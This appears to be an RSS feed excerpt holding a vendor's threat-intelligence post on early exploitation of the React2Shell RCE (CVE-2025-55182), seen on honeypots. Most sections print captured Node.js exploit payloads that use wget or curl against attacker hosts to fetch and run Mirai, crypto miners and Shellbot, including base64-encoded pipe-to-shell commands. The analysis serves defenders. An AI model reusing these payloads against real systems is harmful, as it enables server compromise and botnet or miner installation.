              &lt;div class="field__item clearfix"&gt;
                                &lt;article class="media media--type-image media--view-mode-card"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/styles/card_media/public/2025/10/24/SOTU%20cover%20Image.png?itok=SHNfbt7C" width="1024" height="652" alt="SOTU cover Image" typeof="foaf:Image" class="image-style-card-media"&gt;



              &lt;/div&gt;
      
  &lt;/article&gt;

                  &lt;/div&gt;
          &lt;/div&gt;
  
              
                          &lt;/div&gt;
          &lt;/div&gt;
        
              
      &lt;div class="card__content"&gt;
                          

        
                  &lt;div class="card__heading"&gt;
            &lt;h2&gt;&lt;svg style="max-width:35px;" viewBox="0 0 640 640"&gt;&lt;!--!Font Awesome Free 7.1.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free Copyright 2025 Fonticons, Inc.--&gt;&lt;path d="M341.5 45.1C337.4 37.1 329.1 32 320.1 32C311.1 32 302.8 37.1 298.7 45.1L225.1 189.3L65.2 214.7C56.3 216.1 48.9 222.4 46.1 231C43.3 239.6 45.6 249 51.9 255.4L166.3 369.9L141.1 529.8C139.7 538.7 143.4 547.7 150.7 553C158 558.3 167.6 559.1 175.7 555L320.1 481.6L464.4 555C472.4 559.1 482.1 558.3 489.4 553C496.7 547.7 500.4 538.8 499 529.8L473.7 369.9L588.1 255.4C594.5 249 596.7 239.6 593.9 231C591.1 222.4 583.8 216.1 574.8 214.7L415 189.3L341.5 45.1z" fill="#CFFF33" /&gt;&lt;/svg&gt; Report: 7.7 Million endpoint logs for sale &amp;amp; more&lt;/h2&gt;

          &lt;/div&gt;
        
        
                  &lt;div class="card__summary"&gt;
              &lt;div class="body-text"&gt;
              
            &lt;div class="clearfix text-formatted field field--name-field-summary field--type-text-long field--label-hidden field__item"&gt;
                          &lt;p&gt;Stealer malware is thriving—especially Lumma and Risepro. These logs fuel ransomware, MFA bypass, and persistent access. It's $10 to compromise an account. &lt;strong&gt;Explore this and other insights the data reveals.&lt;/strong&gt;&lt;/p&gt;
&lt;style type="text/css"&gt;.card__inner-wrapper {gap:50px;}
.card__content {padding-right: 2%;}
&lt;/style&gt;

              &lt;/div&gt;
      
        
  &lt;/div&gt;
          &lt;/div&gt;
        
                  &lt;div class="card__cta"&gt;
                          &lt;div class="card__button"&gt;
                


  &lt;a href="https://www.bitsight.com/report/state-of-the-underground-2025" class="button card__button button--filled-color" aria-label&gt;Read free report
    
      &lt;/a&gt;
              &lt;/div&gt;
            
            
                      &lt;/div&gt;
              &lt;/div&gt;
    &lt;/div&gt;
  &lt;/article&gt;
    &lt;/div&gt;

              &lt;/div&gt;
      
  &lt;/div&gt;
&lt;/div&gt;

      &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

</description>
  <pubDate>Thu, 15 Jan 2026 06:22:56 +0000</pubDate>
    <dc:creator>Eric Cisternelli</dc:creator>
    <guid isPermaLink="false">18591 at https://www.bitsight.com</guid>
    </item>
<item>
  <title>CVE-2025-55182: First Days of React2Shell Exploitations</title>
  <link>https://www.bitsight.com/blog/cve-2025-55182-analysis-of-react2shell-exploitations</link>
  <description>&lt;span property="schema:name" class="field field--name-title field--type-string field--label-hidden"&gt;CVE-2025-55182: First Days of React2Shell Exploitations&lt;/span&gt;
&lt;span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"&gt;&lt;span lang about="https://www.bitsight.com/user/16" typeof="schema:Person" property="schema:name" datatype&gt;Eric Cisternelli&lt;/span&gt;&lt;/span&gt;
&lt;span property="schema:dateCreated" content="2025-12-18T13:01:00+00:00" class="field field--name-created field--type-created field--label-hidden"&gt;&lt;time datetime="2025-12-18T08:01:00-05:00" title="Thursday, December 18, 2025 - 08:01" class="datetime"&gt;Thu, 12/18/2025 - 08:01&lt;/time&gt;
&lt;/span&gt;

    &lt;div class="layout layout--onecol"&gt;
    &lt;div class="layout__region layout__region--content"&gt;
        &lt;div class="block block-layout-builder block-inline-blocktext"&gt;
    
    
          


  

&lt;div class="block-content block-content--type-text block-content--39656 block-content--view-mode-full container text-wysiwyg"&gt;

  
  

          &lt;div class="text-wysiwyg__title"&gt;
      

    &lt;/div&gt;
  
      &lt;div class="text-wysiwyg__body"&gt;
      
            &lt;div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"&gt;
                          &lt;p&gt;On December 3rd &lt;a href="https://react2shell.com/"&gt;Lachlan Davidson&lt;/a&gt; disclosed an unauthenticated remote code execution vulnerability in React Server Components (RSC) that exploits how &lt;a href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components"&gt;React.js&lt;/a&gt; (and &lt;a href="https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp"&gt;Next.js&lt;/a&gt;) decodes payloads sent to React Server Function endpoints. On December 4th we started observing fingerprinting attempts for these vulnerabilities and on December 5th we started observing exploitation attempts.&amp;nbsp;React.js is used by&lt;a href="https://www.bitsight.com/blog/uncovering-cyber-risks-global-supply-chain"&gt; 66% of the global digital supply, in the top 0.06% of all technologies&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It took less than 48h for threat actors to start exploiting this RCE vulnerability, and based on &lt;a href="https://www.bitsight.com/groma-explorer/facebook/react"&gt;Groma&lt;/a&gt; observations and findings, we estimate over 50% of exposed instances to be vulnerable, making it critical to address this vulnerability to mitigate exploitations.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/17/Timeline%20of%20React2Shell%20disclosure%20and%20exploitation.png" width="850" height="766" alt="Timeline of React2Shell disclosure and exploitation" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 1. Timeline of React2Shell disclosure and exploitation.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;These vulnerabilities have been identified as &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-55182"&gt;CVE-2025-55182&lt;/a&gt; and &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66478"&gt;CVE-2025-66478&lt;/a&gt;, although the latter has been rejected as a duplicate of the former. In this blog post we’ll share our observations of the exploitations of this RCE vulnerability, that include:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;Over 68k requests related to React2Shell across our honeypots&lt;/li&gt;
	&lt;li&gt;65 Unique IPs fingerprinting or exploiting React2Shell&lt;/li&gt;
	&lt;li&gt;60 Unique RCE payloads&lt;/li&gt;
	&lt;li&gt;InfectedSlurs, Rondo and Outlaw botnets exploiting React2Shell&lt;/li&gt;
	&lt;li&gt;3 different mining botnets&lt;/li&gt;
	&lt;li&gt;3 different Mirai payloads&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Observations&lt;/h2&gt;

&lt;p&gt;From the time React2Shell was disclosed up until December 9th our honeypots had over 68k requests that were directly related to the React2Shell vulnerability. Of these 68k requests, 66k (97%) were attempting to exploit the RCE and of those, less than 5k (7%) contain actual malicious code (i.e. were exfiltrating information and/or fetching other payloads).&lt;/p&gt;

&lt;p&gt;Of all the nearly 5k payloads, there were only 42 unique different exploits being used, showing the intensive enumeration by threat actors against IPs and ports. We observed these payloads being run against 60 different ports, with the top 5 being: 3000, 3001, 3002, 80 and 8080.&lt;/p&gt;

&lt;h2&gt;InfectedSlurs Botnet&lt;/h2&gt;

&lt;p&gt;This botnet was first described in 2023 by &lt;a href="https://www.akamai.com/blog/security-research/new-rce-botnet-spreads-mirai-via-zero-days"&gt;Akamai&lt;/a&gt; and the operators quickly started exploiting React2Shell with TTPs identical to what have been previously reported. They drop both Mirai and XMRig and we’ve observed the following two payloads:&lt;/p&gt;

&lt;pre style="background:#F6F6F6; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;&lt;span style="color:#000;"&gt;process.mainModule.require(&lt;/span&gt;&lt;span style="color:#008000"&gt;'child_process'&lt;/span&gt;&lt;span style="color:#000;"&gt;).exec(&lt;/span&gt;&lt;span style="color:#008000"&gt;'cd 
/dev/shm;rm -rf poop;busybox wget 
http://89.144.31[.]18/poop;./poop &amp;amp;'&lt;/span&gt;&lt;span style="color:#000;"&gt;);&lt;/span&gt;

&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; 
&lt;span style="color:#000;"&gt;res=process.mainModule.require(&lt;/span&gt;&lt;span style="color:#008000"&gt;'child_process'&lt;/span&gt;&lt;span style="color:#000;"&gt;).execSync(&lt;/span&gt;&lt;span style="color:#008000"&gt;'(cd 
/dev;busybox wget http://89.144.31[.]18/nuts/x86;chmod 777 
x86;./x86 reactOnMynuts;busybox wget -q http://89.144.31[.]18/nuts/bolts 
-O-|sh)'&lt;/span&gt;&lt;span style="color:#000;"&gt;,{&lt;/span&gt;&lt;span style="color:#008000"&gt;'timeout'&lt;/span&gt;&lt;span style="color:#000;"&gt;:&lt;/span&gt;&lt;span style="color:#cc0000;"&gt;120000&lt;/span&gt;&lt;span style="color:#000;"&gt;}).toString().trim();;&lt;span style="color:blue;"&gt;throw&lt;/span&gt; 
&lt;/span&gt;&lt;span style="color:purple;"&gt;Object&lt;/span&gt;&lt;span style="color:#000;"&gt;.assign(&lt;/span&gt;&lt;span style="color:blue;"&gt;new&lt;/span&gt; &lt;span style="color:purple;"&gt;Error&lt;/span&gt;&lt;span style="color:#000;"&gt;(&lt;/span&gt;&lt;span style="color:#008000"&gt;'NEXT_REDIRECT'&lt;/span&gt;&lt;span style="color:#000;"&gt;), {digest:`&lt;/span&gt;&lt;span style="color:green;"&gt;${res}&lt;/span&gt;&lt;span style="color:#000;"&gt;`});&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We observed payloads between December 5th and December 9th with some minor variations. The domains (shown in IoCs) associated with the Mirai sample pre-date the React2Shell vulnerability, and the associated IPs have been used in other domains as well.&lt;/p&gt;

&lt;p&gt;If we look at the associated mining pool &lt;a href="https://monero.hashvault.pro/en/dashboard/45Sp7oqA8vbUJyZiWhyKT7cm1tyRJ492WTwms5n1VfDbCqUcwUttVTF7PDGivefCWm7dxN3uRAAckGU9BLoMCmgAJduR4d4"&gt;wallet&lt;/a&gt;, we can see it’s been active before React2Shell, but the highest hashrate matches the period when we observed the React2Shell payloads, with numbers indicating a profit of around $200 per day. Currently the mining pool is inactive, but we cannot confirm if they’ve changed their wallet, since they’re using &lt;a href="https://github.com/xmrig/xmrig-proxy"&gt;XMRig Proxy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We’ve observed this threat sending the exploit to 46 different ports, with the majority of exploits using port 3000 and 80, and their attempts accounted for 23% of our observations.&lt;/p&gt;

&lt;h2&gt;Rondo&lt;/h2&gt;

&lt;p&gt;This botnet is known for using a &lt;a href="https://www.trendmicro.com/en_us/research/25/j/rondodox.html"&gt;large number of exploits&lt;/a&gt; and they were quick on adding React2Shell to their arsenal. Our first observation of their payload (shown below) was on December 6th and as of the writing of this post they’re still actively running this exploit almost exclusively, which is an interesting change of methodology from the threat actors. They went from dozens of different exploits to running a single exploit only.&lt;/p&gt;

&lt;pre style="background:#F6F6F6; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;process.mainModule.require(&lt;span style="color:green;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:green;"&gt;'(wget
-qO- http://41.231.37[.]153/rondo.aqu.sh||busybox wget -qO-
http://41.231.37[.]153/rondo.aqu.sh||curl -s 
http://41.231.37[.]153/rondo.aqu.sh)|sh&amp;amp;'&lt;/span&gt;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;These threat actors were exploiting this threat against only 5 ports (3000, 8080, 80, 3001 and 3002) but we observed nearly 21k exploitation attempts, which accounts for nearly 31% of our React2Shell observations.&lt;/p&gt;

&lt;h2&gt;Outlaw&lt;/h2&gt;

&lt;p&gt;One interesting find in our observations was the presence of exploits from the Outlaw botnet. This botnet has been known since &lt;a href="https://www.trendmicro.com/en_us/research/18/k/perl-based-shellbot-looks-to-target-organizations-via-cc.html"&gt;2018&lt;/a&gt;, and uses IRC as its communication channel. We observed exploitations by this botnet starting on December 6th and they’re still ongoing with the payload shown below:&lt;/p&gt;

&lt;pre style="background:#F6F6F6; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; 
&lt;span style="color:#000;"&gt;res=process.mainModule.require(&lt;/span&gt;&lt;span style="color:#008000"&gt;'child_process'&lt;/span&gt;&lt;span style="color:#000;"&gt;).execSync(&lt;/span&gt;&lt;span style="color:#008000"&gt;'echo KHdnZXQgLXFPIC0gMjMuMTMyLjE2NC4xNTUvbm90cm9vdGVyLnBsfHxjdXJsIC
1zIDIzLjEzMi4xNjQuMTU1L25vdHJvb3Rlci5wbHx8d2dhdCAtcU8gLSAyMy4x
MzIuMTY0LjE1NS9ub3Ryb290ZXIucGx8fGNhdWwgLXMgMjMuMTMyLjE2NC4xNT
Uvbm90cm9vdGVyLnBsKXxwZXJsCg==|base64 
-d|bash'&lt;/span&gt;&lt;span style="color:#000;"&gt;).toString().trim();;throw &lt;/span&gt;&lt;span style="color:purple;"&gt;Object&lt;/span&gt;&lt;span style="color:#000;"&gt;.assign(&lt;/span&gt;&lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; 
&lt;span style="color:purple;"&gt;Error&lt;/span&gt;&lt;span style="color:#000;"&gt;(&lt;/span&gt;&lt;span style="color:#008000"&gt;'NEXT_REDIRECT'&lt;/span&gt;&lt;span style="color:#000;"&gt;),{digest: 
&lt;/span&gt;&lt;span style="color:#008000"&gt;`NEXT_REDIRECT;push;/login?a=${res};307;`&lt;/span&gt;&lt;span style="color:#000;"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Even though we observed payloads with slightly different base64 strings, the content was always identical with the main purpose of fetching a script from another IP and running it:&lt;/p&gt;

&lt;pre style="background:#F6F6F6; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;(wget -qO - &lt;span style="color:#cc0000;"&gt;23.132.164[.]155/notrooter.pl&lt;/span&gt;||curl -s 
&lt;span style="color:#cc0000;"&gt;23.132.164[.]155/notrooter.pl&lt;/span&gt;||wgat -qO - 
&lt;span style="color:#cc0000;"&gt;23.132.164[.]155/notrooter.pl&lt;/span&gt;||caul -s 
&lt;span style="color:#cc0000;"&gt;23.132.164[.]155/notrooter.pl&lt;/span&gt;)|perl

(wget -qO - &lt;span style="color:#cc0000;"&gt;144.31.5[.]11/bk.sh&lt;/span&gt;||curl -s 
&lt;span style="color:#cc0000;"&gt;193.56.28[.]202/bk.sh&lt;/span&gt;||wgat -qO - &lt;span style="color:#cc0000;"&gt;144.31.5[.]11/bk.sh&lt;/span&gt;||caul -s 
&lt;span style="color:#cc0000;"&gt;193.56.28[.]202/bk.sh&lt;/span&gt;)|bash
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Their infection chain contains obfuscated bash and perl scripts that dynamically decode and decrypt themselves with the purpose of dropping Shellbot (IRC bot for C2), cleaning other malware and dropping &lt;a href="https://www.gsocket.io/"&gt;Global Socket&lt;/a&gt; to allow direct connection by the threat actors to the infected machine. An example of how they’re obfuscating the script is shown below in Fig. 2, where a Perl script contains a single line readable code and multiple seemingly random bytes. The deobfuscation process is simply a matter of removing all newlines and carriage returns, replacing spaces by 0 and tabs by 1, and decoding the binary result, which returns another Perl script.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/17/_Perl%20obfuscated%20script.png" width="850" height="386" alt="Perl obfuscated script" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 2. Perl obfuscated script.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;The threat actors go through some effort of hiding the entire infection chain, not only through obfuscation and encryption, but also by using the IRC bot for further enumeration and deployment of further payloads. Although this threat is known for deploying a crypto miner, we weren't able to reach the miner phase.&lt;/p&gt;

&lt;p&gt;It’s worth noting that many of the IPs we’ve observed scanning and exploiting React2Shell appear to be residential IPs, potentially from other compromised machines.&lt;/p&gt;

&lt;h2&gt;Mining&lt;/h2&gt;

&lt;p&gt;One of the common, if not the most common, abuses for exposed services is the deployment of crypto mining software. For threat actors this is a low effort vector that can provide some profit if enough services are compromised. The biggest problem for threat actors here are other threat actors, which consequently makes threat actors compete against each other for compromised machines, going to the effort of removing other mining software and even patching vulnerabilities to prevent further compromises.&lt;/p&gt;

&lt;p&gt;React2Shell exploits are no exception to this kind of abuse and consequently the higher variety of payloads we saw related to crypto mining, which we’ll briefly cover in this section.&lt;/p&gt;

&lt;p&gt;One of the clusters we observed followed the pattern shown below, which were exploiting between December 6th and December 8th always from the same IP. We’ve identified this cluster to be associated with RustoBot, which was first described in April 2025 by &lt;a href="https://www.fortinet.com/blog/threat-research/new-rust-botnet-rustobot-is-routed-via-routers"&gt;Fortinet&lt;/a&gt;.&lt;/p&gt;

&lt;pre style="background:#F6F6F6; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;&lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; 
process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:#008000;"&gt;'cd /tmp;
wget &lt;/span&gt;&lt;span style="color:green;"&gt;http://gfxnick.emerald.usbx[.]me/bot&lt;/span&gt;&lt;span style="color:#008000;"&gt;; chmod 777 bot; 
./bot || cd /tmp; curl -O 
&lt;/span&gt;&lt;span style="color:green;"&gt;http://gfxnick.emerald.usbx[.]me/bot&lt;/span&gt;&lt;span style="color:#008000;"&gt;; chmod 777 bot; ./bot 
'&lt;/span&gt;);&lt;span style="color:purple;"&gt;//&lt;/span&gt;

&lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; 
process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:#008000;"&gt;'cd /tmp; 
wget &lt;/span&gt;&lt;span style="color:green;"&gt;http://176.117.107[.]158/bot&lt;/span&gt;&lt;span style="color:#008000;"&gt;; chmod 777 bot; ./bot || cd 
/tmp; curl -O &lt;/span&gt;&lt;span style="color:green;"&gt;http://176.117.107[.]158/bot&lt;/span&gt;&lt;span style="color:#008000;"&gt;; chmod 777 bot; 
./bot '&lt;/span&gt;);&lt;span style="color:purple;"&gt;//&lt;/span&gt;

&lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:#008000;"&gt;'cd /tmp; 
wget &lt;/span&gt;&lt;span style="color:green;"&gt;https://f003.backblazeb2[.]com/file/mova12/98201-1-8/bot&lt;/span&gt;&lt;span style="color:#008000;"&gt;; 
chmod 777 bot; ./bot || cd /tmp; curl -O 
&lt;/span&gt;&lt;span style="color:green;"&gt;https://f003.backblazeb2[.]com/file/mova12/98201-1-8/bot&lt;/span&gt;&lt;span style="color:#008000;"&gt;; 
chmod 777 bot; ./bot '&lt;/span&gt;);&lt;span style="color:purple;"&gt;//&lt;/span&gt;

&lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; 
process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:#008000;"&gt;'cd /tmp; 
wget &lt;/span&gt;&lt;span style="color:green;"&gt;http://176.117.107[.]154/bot&lt;/span&gt;&lt;span style="color:#008000;"&gt;; chmod 777 bot; ./bot || cd 
/tmp; curl -O &lt;/span&gt;&lt;span style="color:green;"&gt;http://176.117.107[.]154/bot&lt;/span&gt;&lt;span style="color:#008000;"&gt;; chmod 777 bot; 
./bot '&lt;/span&gt;);&lt;span style="color:purple;"&gt;//&lt;/span&gt;

&lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; 
process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:#008000;"&gt;'rm -rf 
/tmp;cd /tmp; wget &lt;/span&gt;&lt;span style="color:green;"&gt;http://176.117.107[.]158/bot&lt;/span&gt;&lt;span style="color:#008000;"&gt;; chmod 777 
bot; ./bot || cd /tmp; curl -O &lt;/span&gt;&lt;span style="color:green;"&gt;http://176.117.107[.]158/bot&lt;/span&gt;&lt;span style="color:#008000;"&gt;; 
chmod 777 bot; ./bot'&lt;/span&gt;);&lt;span style="color:purple;"&gt;//&lt;/span&gt;

&lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; 
process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:#008000;"&gt;'cd /tmp;rm -rf *;cd
 /tmp;wget &lt;/span&gt;&lt;span style="color:green;"&gt;http://176.117.107.158/r.sh&lt;/span&gt;&lt;span style="color:#008000;"&gt;; chmod 
777 r.sh; sh r.sh || cd /var/tmp; curl -O 
&lt;/span&gt;&lt;span style="color:green;"&gt;http://176.117.107.158/r.sh&lt;/span&gt;&lt;span style="color:#008000;"&gt;; chmod 777 r.sh; sh r.sh'&lt;/span&gt;);&lt;span style="color:purple;"&gt;//&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Another cluster we’ve observed was sending the following payloads between December 7th and December 8th:&lt;/p&gt;

&lt;pre style="background:#F6F6F6; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:#008000;"&gt;'curl -s 
-L 
&lt;/span&gt;&lt;span style="color:green;"&gt;https://raw.githubusercontent[.]com/C3Pool/xmrig_setup/master/
setup_c3pool_miner.sh&lt;/span&gt;&lt;span style="color:#008000;"&gt; | bash -s 87LAcEgsDk5FmhGarZJrenG4NDAhXD3EQDneyZkRMNit6gqCryMe8oE3CJPBR17tGQFvdEWaNW3rWgJRFTcEBGjmEXf3XSo'&lt;/span&gt;);

process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:#008000;"&gt;'pkill -f 
watcher; export HOME=/tmp; curl -s -L 
&lt;/span&gt;&lt;span style="color:green;"&gt;http://31.56.27[.]97/scripts/4thepool_miner.sh&lt;/span&gt;&lt;span style="color:#008000;"&gt; | bash -s'&lt;/span&gt;);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We've grouped these payloads based on the source IP address and payload content, and we saw 2 different IPs as part of this cluster. One of the addresses associated with this cluster showed, at the time of writing, over 200 active workers, but a low hash rate that would be yielding around 5USD/day. Based on the used infrastructure for this cluster we believe this is also a known mining cluster.&lt;/p&gt;

&lt;p&gt;Another example of a mining cluster we’ve observed was sending payloads between December 6th and December 9th with a base64 encoded payload that would drop a XMRig miner:&lt;/p&gt;

&lt;pre style="background:#F6F6F6; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;&lt;span style="color:#0000ff;"&gt;const&lt;/span&gt; cp = process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;);&lt;span style="color:#0000ff;"&gt;const&lt;/span&gt; 
result = cp.execSync(&lt;span style="color:#008000;"&gt;'echo KGN1cmwgLWsgaHR0cDovLzU5LjcuMjE3LjI0NTo3MDcwL2Muc2h8fHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcSAtTy0gaHR0cDovLzU5LjcuMjE3LjI0NTo3MDcwL2Muc2gpPj4vdmFyL3RtcC81LnNo|base64 -d|sh'&lt;/span&gt;, { timeout: 
&lt;span style="color:#cc0000;"&gt;5000&lt;/span&gt; }).toString().trim();&lt;span style="color:#0000ff;"&gt;const&lt;/span&gt; err = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; 
&lt;span style="color:#aa00ff;"&gt;Error&lt;/span&gt;(&lt;span style="color:#008000;"&gt;'NEXT_REDIRECT'&lt;/span&gt;);err.digest = result;&lt;span style="color:#0000ff;"&gt;throw&lt;/span&gt; err;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Mirai&lt;/h2&gt;

&lt;p&gt;Besides mining, a very common malicious software that is observed scanning and exploiting internet connected devices is Mirai or some variant of it. Given that Mirai source code is available for anyone to compile their own version of it, we grouped all our Mirai observations in this section, as we did not fully analyzed each sample to understand if they were sharing the same C2 or not. We’ve observed exploits dropping Mirai from December 6th to December 9th.&lt;/p&gt;

&lt;pre style="background:#F6F6F6; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code&gt;process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:#008000;"&gt;'cd 
/tmp; rm x86; wget &lt;/span&gt;&lt;span style="color:green;"&gt;http://213.209.143[.]115/x86&lt;/span&gt;&lt;span style="color:#008000;"&gt;; chmod 777 x86; 
./x86 nextjs'&lt;/span&gt;);

&lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; 
res=process.mainModule.require(&lt;span style="color:#008000;"&gt;'child_process'&lt;/span&gt;).execSync(&lt;span style="color:#008000;"&gt;'cd 
/tmp &amp;amp;&amp;amp; (wget -q &lt;/span&gt;&lt;span style="color:green;"&gt;http://158.94.209[.]210/bins/UnHAnaAW.x86&lt;/span&gt;&lt;span style="color:#008000;"&gt; -O 
.systemd || curl -s &lt;/span&gt;&lt;span style="color:green;"&gt;http://158.94.209[.]210/bins/UnHAnaAW.x86&lt;/span&gt;&lt;span style="color:#008000;"&gt; 
-o .systemd) &amp;amp;&amp;amp; chmod +x .systemd &amp;amp;&amp;amp; ./.systemd x86_64 &amp;amp;&amp;amp; rm 
-f .systemd'&lt;/span&gt;).toString().trim();;&lt;span style="color:#0000ff;"&gt;throw&lt;/span&gt; &lt;span style="color:#aa00ff;"&gt;Object&lt;/span&gt;.assign(&lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; 
&lt;span style="color:#aa00ff;"&gt;Error&lt;/span&gt;(&lt;span style="color:#008000;"&gt;'NEXT_REDIRECT'&lt;/span&gt;),{digest: 
&lt;span style="color:#008000;"&gt;`NEXT_REDIRECT;push;/login?a=${res};307;`&lt;/span&gt;});
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Indicators of Compromise&lt;/h2&gt;

&lt;p&gt;The IoCs for our observations are available &lt;a href="https://github.com/bitsight-research/threat_research/tree/main/react2shell_exploits"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Our observations showed how quick threat actors are at capitalizing vulnerabilities, especially when it relates to unauthenticated remote code execution for such a widespread component like React.js and Next.js. While some threats are limited in consequences, like all the mining exploitations we’ve seen that focus on trying to make some quick profit out of vulnerable services, others like InfectedSlurs, Rondo, and Outlaw are more concerning, given they use implants that allow malicious actors to control the vulnerable service, leading to potential data exfiltration. Our observations are just a subset of what threat actors are doing with this vulnerability, and the reader shouldn't assume these are all the ongoing exploitations.&lt;/p&gt;

&lt;p&gt;React2Shell is a perfect example of today’s reality. Major security events move fast, and organizations need intelligence that can keep up. Bitsight detected this vulnerability at scale within the first seventy-two hours of disclosure, giving customers early awareness of which assets were exposed and how quickly attackers were attempting to exploit them. That speed matters when threat actors begin scanning and compromising systems within hours.&lt;/p&gt;

&lt;p&gt;Bitsight delivers visibility across your entire digital footprint, from cloud workloads to on-premises infrastructure, across your supply chain, and even into criminal underground activity. &lt;a href="https://www.bitsight.com/products/cyber-threat-intelligence"&gt;Bitsight Threat Intelligence (TI)&lt;/a&gt; and &lt;a href="https://www.bitsight.com/products/third-party-risk-management"&gt;Third-Party Risk Management (TPRM)&lt;/a&gt; help organizations:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;Identify internet-facing assets or vendors using affected Next.js versions or server-side React implementations that rely on the vulnerable RSC protocol.&lt;/li&gt;
	&lt;li&gt;Prioritize remediation based on the criticality of the upstream RSC vulnerability&lt;/li&gt;
	&lt;li&gt;Monitor frameworks and dependencies for high-severity vulnerabilities&lt;/li&gt;
	&lt;li&gt;Provide continuous insight into technology exposure across your third-party ecosystem&lt;/li&gt;
&lt;/ul&gt;
&lt;style type="text/css"&gt;figcaption {padding-top: 5px;}
&lt;/style&gt;

              &lt;/div&gt;
      
    &lt;/div&gt;
  &lt;/div&gt;

      &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

</description>
  <pubDate>Thu, 18 Dec 2025 13:01:00 +0000</pubDate>
    <dc:creator>Eric Cisternelli</dc:creator>
    <guid isPermaLink="false">18541 at https://www.bitsight.com</guid>
    </item>
<item>
